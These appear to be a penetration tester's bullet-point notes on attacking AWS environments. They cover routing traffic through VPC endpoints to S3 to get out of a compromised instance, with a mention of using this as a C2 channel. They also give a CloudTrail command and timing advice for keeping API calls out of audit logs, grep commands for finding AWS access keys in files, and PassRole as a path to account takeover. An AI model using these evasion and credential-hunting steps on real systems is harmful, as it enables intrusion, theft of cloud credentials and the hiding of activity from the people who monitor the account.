- Virtual Private Cloud (VPC)
	- Allows organizations to set up virtual private networks to route traffic from instances to their core services, such as S3 buckets.
	- Example: `curl https://mxrads-archives-packets-linux.s3-eu-west-1.amazonaws.com/beaconTest.html` will automatically route straight to S3 through Amazon's internal network, rather than going through the public internet.
	- This allows organizations to close access to the internet for instances while still retaining access to AWS services.
	- Look for this when you have RCE, RFI, or similar and you can't get the instance to reach out to the internet. Try uploading a file to an s3 bucket you control and curling the bucket instead; it might go through a VPC.
	- Can also be used as a C2 channel
- Evading CloudWatch
	- Cannot disable, but can disrupt the trail for ingestion into automated tools and dashboards.
		- `aws cloudtrail update-trail --name default --no-include-global-service-events --no-is-multi-region --region=<region>`
	- For best results, disable before doing quick API calls you need to be outside of the logging, then re-enable at least 20 minutes later.
- Quickly grep Linux files looking for:
	- AWS keys
		- `grep -R "AKIA" -4 *`
	- S3 drivers used in Spark
		- `egrep -R "s3[a|n]://" *`
- Dangerous permissions
	- `PassRole` 
		- Allows users to assign any role to an instance, including an admin role. Allows full AWS account takeover.